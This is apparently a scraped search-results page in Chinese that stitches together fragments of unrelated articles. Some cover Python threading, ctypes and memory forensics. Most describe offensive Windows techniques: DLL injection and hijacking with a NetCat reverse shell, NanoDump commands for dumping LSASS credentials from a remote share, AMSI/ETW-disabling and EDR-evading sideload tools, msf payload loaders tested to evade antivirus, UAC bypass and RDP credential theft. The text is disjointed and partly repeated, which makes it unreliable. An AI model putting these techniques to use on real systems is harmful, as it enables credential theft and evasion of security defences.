之前用python的多线程,总是处理不好进程和线程之间的关系。后来发现了join和setDaemon函数,才终于弄明白。下面总结一下。...这里设置主进程为守护进程,当主进程结束的时候,子线程被中止 运行结果如下: #python testsetDaemon.py This is the end of main thread. 3...、如果没有使用join和setDaemon函数,则主进程在创建子线程后,直接运行后面的代码,主程序一直挂起,直到子线程结束才能结束。...补充知识:Python Thread和Process对比 原因:进程和线程的差距(方向不同,之针对这个实例) # coding=utf-8 import logging import multiprocessing...:2.9418249130249023秒 以上这篇python 在threading中如何处理主进程和子线程的关系就是小编分享给大家的全部内容了,希望能给大家一个参考。
pip3 install 二、为何要有dll 由于进程的地址空间是独立的(保护模式),当多个进程共享相同的库时,每个库都在硬盘和进程彼此的内存 存放一份的话,对于早期的计算机来说,无疑是一种极大的浪费...详细如下: 在Windows操作系统中,运行的每一个进程都生活在自己的程序空间中(保护模式),每一个进程都认为自己拥有整个机器的控制权, 每个进程都认为自己拥有计算机的整个内存空间,这些假象都是操作系统创造的...所谓的dll注入正是是让进程A强行加载程序B给定的a.dll,并执行程序B给定的a.dll里面的代码,从而 达到A进程控制B进程的目的 注意,程序B所给定的a.dll原先并不会被程序A主动加载,但是当程序...函数对应用程序挂钩(HOOK)迫使程序加载dll; 4.替换应用程序一定会使用的dll; 5.把dll作为调试器来注入; 6.用CreateProcess对子进程注入dll 7.修改被注入进程的exe的导入地址表...ps: 杀毒软件常用钩子来进行处理 六、使用SetWindowsHookEx函数对应用程序挂钩(HOOK)迫使程序加载dll ctypes是Python的外部函数库,从Python2.5开始引入。
关于MemTracer MemTracer是一款功能强大的内存扫描工具,该工具提供了一种实时内存分析功能,可以帮助广大研究人员或数字取证专家扫描、发现和分析隐藏在内存中的不易被发现的恶意行为或网络攻击痕迹...MemTracer基于纯Python语言开发,旨在检测内存中原生.Net框架动态链接库DLL的反射型加载行为。...随后,该工具便会将被识别为DLL模块的可疑内存区域转储以进行进一步的分析和调查。...除此之外,该工具还提供了下列功能选项: 1、转出存在安全问题的进程信息; 2、将受损进程的信息转储到一个JSON文件中,例如进程名称、进程ID、进程路径、进程大小和基地址等信息; 3、通过名称搜索特定的已加载模块...r, --reflectiveScan:扫描反射型DLL加载行为; -m MODULE, --module MODULE:搜索和扫描指定的已加载DLL; 需要注意的是,如果你想要使用MemTracer扫描所有的进程
DLL主要用于在系统上的应用程序和进程之间共享此内容,以便在为Windows创建应用程序时为程序员提供高度的灵活性。 DLL以相同的访问权限在调用过程的内存中执行。...DLL搜索顺序简介 在整个日常工作中,我们将大量流程加载到我们的系统中。...使用Windows操作系统时,进程加载算法的关键步骤包括将动态链接库(DLL)加载到内存中,以利用其功能并满足其进程与DLL之间的依赖关系。每当启动进程时,都会发生此操作。...第二步:查找DLL和利用 在查找这些DLL时,得出的结论是Riched32.DLL是非本地DLL,因此,注册表中没有该DLL的默认搜索路径。但是如果我们正确配置它,系统最终也会加载它。...通过使用PowerShell和DLL代码中包含的NetCat的反向Shell 并尝试与kali上的侦听器联系,然后使用PowerShell打开shell 我们可以看到执行劫持的进程后,将加载DLL并打开
关于NanoDump NanoDump是一款功能强大的MiniDump转储文件提取工具,在该工具的帮助下,广大研究人员可以轻松转储LSASS进程中的MiniDump数据。...3版本,即pypykatz来获取转储文件中的敏感信息: python3 -m pypykatz lsa minidump 以SSP加载NanoDump 我们可以在LSASS中以SSP...当转储完成后,DllMain将返回FALSE来控制LSASS卸载NanoDump DLL。 如需修改转储路径和签名配置,可以直接修改entry.c中的NanoDump函数。...--fork --write C:\lsass.dmp 使用MalSecLogon在一个记事本进程中获取LSASS句柄,然后拷贝句柄以访问LSASS,并读取转储信息: beacon> nanodump...\Temp\[RANDOM].dll 在LSASS中以SSP加载NanoDump(远程): beacon> load_ssp \\10.10.10.10\openShare\nanodump_ssp.x64
该工具专为红队研究人员设计,生成的DLL可以在研究人员尝试绕过反病毒产品时禁用AMSI和ETW,从而更好地测试目标系统的安全性。...该工具可以随机化DLL中所有的WinAPI函数使用、XOR编码字符串和基础的沙箱检测,并使用了Mingw-w64将经过混淆处理的C代码编译为DLL文件,然后再加载到任何有AMSI或ETW的进程中,例如PowerShell...操作系统上运行,且需要安装并配置好下列组件: Python 3 Mingw-w64 工具下载 由于该工具基于Python 3开发,因此我们首先需要在本地设备上安装并配置好Python 3.x环境。...我们可以直接将工具输出的DLL文件发送到目标系统中,然后通过多种方法将其加载进PowerShell中。...比如说,我们可以通过LoadLibrary和P/Invoke实现加载: 或者更简单地操作,直接将PowerShell拷贝到一个任意位置,然后实现DLL测加载: 许可证协议 本项目的开发与发布遵循GPL-
转载 在Python中某些时候需要C做效率上的补充,在实际应用中,需要做部分数据的交互。...cdecl(这里强调调用约定是因为,stdcall调用约定和cdecl调用约定声明的导出函数,在使用python加载时使用的加载函数是不同的,后面会有说明)调用约定的导出函数Add。...像printf这样的函数,事先不知道需要的栈大小,需要用cdecl来处理 所以需要使用cdecl来调用 2、调用dll中的方法 在1中加载dll的时候会返回一个DLL对象(假设名字叫Objdll...在python中要实现c语言中的结构,需要用到类。 4、DLL中的函数返回一个指针。... 5、处理C中的结构体类型 为什么把这个单独提出来说呢,因为这个是最麻烦也是最复杂的,在python里面申明一个类似c的结构体,要用到类,并且这个类必须继承自Structure。
随着 Windows API 的成长和普及,人们在 DLL 中找到了避风港。C 代码和交叉兼容性非常吸引人,但是如果您希望您的 DLL 在另一个进程中执行怎么办?...Windows 操作系统已经知道如何加载 PE 文件,所以人们很好地询问和 DLL Injection 出生于。这涉及在远程进程中启动一个线程以从 WinAPI 调用“LoadLibrary()”。...这将从磁盘读取(恶意)DLL 并将其加载到目标进程中。因此,您编写了一些很酷的恶意软件,将其保存为 DLL,将其放入磁盘,然后重新生成到其他进程中。太棒了!......嗯,不是真的。...构建引导原语后,我们实现了转换为不同语言(C、PowerShell、C# 和 Python)的过程。这允许我们将新的 shellcode 和一个 DLL 与我们需要的任何其他工具中的引导代码挂钩。...用例 #1 – 隐秘的持久性 使用服务器端 Python 代码 (sRDI) 将 RAT 转换为 shellcode 将 shellcode 写入注册表 设置计划任务以执行基本加载程序 DLL Loader
/Desktop/1.c (二)通过远程线程注入加载payload 通过VS2019对payload进行处理: 编译生成Project1.exe,将其传入装有360和火绒的Windows靶机进行免杀测试...(三)检测免杀 在Kali上开启msf监听 在靶机上运行Project1.exe,Kali机器获取到Session,并且360和火绒均未报毒 二、DLL注入 (一)通过DLL注入加载Payload...通过VS2019编译DLL文件,该DLL文件将加载之前用MSF产生的payload,经regsvr32测试可以使用 再通过VS2019编译DLL加载器,该加载器将会把指定DLL(Dll1.dll)加载到指定进程...(二)检测免杀 在Kali机器上开启msf监听 开启calc.exe,获取其PID信息 运行Project1.exe,Kali机器获取到Session,且火绒和360未报毒 三、Shellcode...加载器 (一)python运行加载器 将python脚本中的shellcode部分改为msf生成的payload (二)检测免杀 Kali机器开启监听 在Windows学员机环境下运行python加载器
(三)检测免杀 在Kali上开启msf监听 在靶机上运行Project1.exe,Kali机器获取到Session,并且360和火绒均未报毒 二、DLL注入 (一)通过DLL注入加载Payload...通过VS2019编译DLL文件,该DLL文件将加载之前用MSF产生的payload,经regsvr32测试可以使用 再通过VS2019编译DLL加载器,该加载器将会把指定DLL(Dll1.dll)...加载到指定进程 (二)检测免杀 在Kali机器上开启msf监听 开启calc.exe,获取其PID信息 运行Project1.exe,Kali机器获取到Session,且火绒和360未报毒 三...、Shellcode加载器 (一)python运行加载器 将python脚本中的shellcode部分改为msf生成的payload (二)检测免杀 Kali机器开启监听 在Windows学员机环境下运行...python加载器,kali获取到session,且360和火绒均未报毒,第一次失败是由于配置shellcode时多打了一个字符导致出错。
在vs中操作。...其原理如下: APC注册:在目标进程中创建一个用户模式线程,并将其关联到一个合法的可执行函数或API回调函数。...1.加载不存在的dll 然后这里找到一个需要用到loadlibrary这个api的dll,这里找有个api的原因是因为如果该dll的调用栈中存在有 loadlibrary(Ex) ,说明这个dll被进程所动态加载的...如果这种利用场景下,伪造的dll文件不需要存在任何导出函数即可被成功加载,即使加载后进程内部出错,也是在dll被加载成功加载之后的事情。...2.加载存在的dll 1.找到目标进程加载了哪些dll 2.找一个dll 假设我们选取amsi.dll 我们看到这个导入目录中存在LoadLibraryExW 然后再去找到它的函数有什么,下一次尝试写入
国外安全研究员发现了2个具有微软签名的二进制文件可以进行 DLL 注入。...分别为: inject_dll_amd64.exe inject_dll_x86.exe 文件位于: C:\Program Files(x86)\Microsoft Visual Studio\2019...\Community\Common7\IDE\Extensions\Microsoft\Python\Core\debugpy\_vendored\pydevd\pydevd_attach_to_process...to\dll\mod.dll 使用环境: 可以用来绕过一些EDR和安全终端产品进行Dll注入 例如: 很明显我们的DLl注入了目标进程中 同时cobaltstrike也上线了 绕过Cylance...注入进程 可以看到目标进程加载了我们的Dll 同时在coablststrike中可以上线 TIPS: 可以在投放木马时作为某个阶段就行投放,配合某些手法我们可以不用DLL落地。
常见的利用方式有: DLL注入(RDI技术),一般注入到常驻内存的可信进程,如:explorer DLL劫持,常和注册表配合使用达到劫持目的 伪装进程PEB绕过UAC 上面在利用COM接口的ShellExec...除了通过上面的方式在OleView中手动去找,还可以通过UACMe项目提供的Yuubari工具快速查看系统UAC设定信息以及所有可以利用的程序和COM组件,使用方法如下: 使用VS2019加载Yuubari...DLL 形式 如何使用? dll可以使用系统可信进程rundll32.exe进行加载,这样也不需要调用MarquradePEB。...进程加载的cmlua.dll文件并不是system32目录,而是SysWOW64的,SysWOW64放的是32位系统文件,程序为什么去加载的是32位的,使用CFF看一下生成的dll文件类型: ?...值得研究的C2推荐 Python Empire,官方已经不维护了不推荐用,但是值得研究借鉴 Pupy,很适合玩Python的研究 SILENTTRINITY,利用的.net DLR方式实现,动态加载不落地
关于Chimera Chimera是一款带有EDR规避功能的自动化DLL侧加载工具,在该工具的帮助下,广大研究人员可以在渗透测试过程中,绕过EDR的检测并实现自动化DLL侧加载。...虽然DLL侧加载可以用于合法目的,例如加载程序运行所需的库,但也可以用于恶意目的。而攻击者通常可以通过利用用于加载DLL的合法应用程序中的漏洞,从而使用DLL侧加载技术在目标系统上执行任意代码。...除此之外,该工具还使用了SysWhispers2的动态系统调用和一个修改版本的汇编代码库来规避EDR的搜索模式,该工具经过测试,证明在绕过EDR/AV产品和在目标系统上执行任意代码方面是有效的。...工具安装 由于该工具基于Python 3开发,因此我们首先需要在本地设备上安装并配置好Python 3环境。...我们可以创建userenv.dll(Microsoft Teams缺少的DLL),并将其插入到指定的目录路径中: %USERPROFILE%/Appdata/local/Microsoft/Teams/
装配.加载 虽然反射 API 非常通用并且可以在许多不同的方式中使用,但它只能在当前进程中运行代码。不支持在远程进程中运行有效负载。...反射 DLL 被注入子进程以加载 .NET 运行时。 反射 DLL 加载中间 .NET 程序集以处理错误并提高有效负载的稳定性。 中间 .NET 程序集从子进程内的内存中加载您的 .NET 程序集。...在通过 CLR 加载程序集后,原始引用将从内存中删除以阻止内存扫描器。程序集被加载到一个新的应用程序域中,以允许在一次性 AppDomains 中运行程序集。...为生成有效负载提供了 Windows EXE 和 Python(计划用于 v1.0 的 Python)脚本。命令行语法如下所述。...与 CLR 关联的 DLL 均以“msco”开头,例如“mscorlib.dll”和“mscoree.dll”。因此,我们观察它们的加载,然后检查加载它们的程序是否是有效的 .NET 程序集。
文件,它的作用是执行DLL文件中的内部函数,功能就是以命令行的方式调用动态链接程序库。...然而PsExec默认在Windows系统上没安装。...紧接着Kali开启一个HTTP服务用于远程加载: python -m SimpleHTTPServer 9000 ?...然后使用Python开启一个HTTP服务用于远程加载Payload: python -m SimpleHTTPServer 9000 ?....dll上传到目标服务器,运行命令加载上线: cmstp.exe /s 10000.inf ?
DLL劫持 DLL简介 在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。...DLL加载顺序 如果程序需要加载一个相对路径的dll文件,它将从当前目录下尝试查找,如果找不到,则按照如下顺序寻找: windows xp sp2之前 Windows查找DLL的目录以及对应的顺序: 进程对应的应用程序所在目录...\dyy\AppData\Local\Programs\Python\Python38\Scripts\oci.dll 使用cs生成恶意dll,重命名为oci.dll后放置到该目录下 手动挖掘 Process...://DLL首次被加载到内存时运行 case DLL_PROCESS_DETACH://DLL销毁时运行 case DLL_THREAD_ATTACH://DLL线程加载时运行...即时调用函数,可以在处理加载DLL时,调用具体函数的时候行为可控,高度自定义触发点,也称用来hook某些函数,获取到参数值 我的博客即将同步至腾讯云开发者社区,邀请大家一同入驻:https:
在这篇文章中会介绍使用“内存取证”技术来检测高级的恶意软件感染,并且学会如何使用内存取证工具比如Volatility在真实的环境中检测恶意软件。...内存技术是指从运行的电脑中取出内存镜像来进行分析的技术,其在应急响应和调查中扮演一个很重要的角色。...它能够从计算机内存中提取取证线索,比如运行的进程,网络连接,加载的模块等等 ,同时他能够帮助脱壳,Rootkit检测和逆向工程。...步骤5:svchost.exe中可疑的互斥量 现在我们知道svchost.exe进程(pid 888)向域名“web3inst.com”发起连接。...步骤12:msiexec加载的可疑DLL 用dlllist模块检查msiexec 进程(pid 1236) 加载的DLL,发现如下msiexec进程加载的可疑dll(dll.dll)。
注册表项里的 DLL 列表在应用程序运行后就已经加入到了内核空间中,多个进程公用这些模块,必须具有非常高的权限才能修改。...这种方式的优点是,可以在需要调用函数时才加载目标 DLLB....系统启动或终止进程或线程的时候,它会使用进程的第一个线程为每个加载的DLL来调用入口点函数。...: // 当DLL被进程加载时执行,每个新进程只初始化一次。...也就是说创建线程申请内存加载shellcode需要在导出函数里面操作,不能再dllmain里面直接操作,需要找到第一个执行的函数就能行,但是麻烦,我们可以可以新定义一个函数来申请内存,加载到内存中,在dllmain
RdpThief RdpThief本身是一个独立的DLL,当注入mstsc.exe进程时,将执行API挂钩、提取明文凭据并将其保存到文件中。...RdpThief使用detours库开发,通过挂钩以下几个API从RDP客户端提取明文凭据,可以使用API Monitor工具监控mstsc.exe进程在登录过程中调用了哪些API?...SharpHook目前仅支持mstsc、runas、powershell等进程下窃取凭据,其他的还未完成或有BUG,可以改用python写的PyHook,支持在以下进程中窃取凭据,使用frida将其依赖项注入目标进程...Detours窃取RDP中用户提供的凭据,注入的dll文件和用于保存凭据的txt文件都是写死的,可以自己在源代码中进行修改。...接着在命令终端下执行APIHookInjectorBin.exe将RDPCredsStealerDLL.dll文件注入到mstsc.exe进程中,提示DLL Injected succesfully为注入成功
领取专属 10元无门槛券
手把手带您无忧上云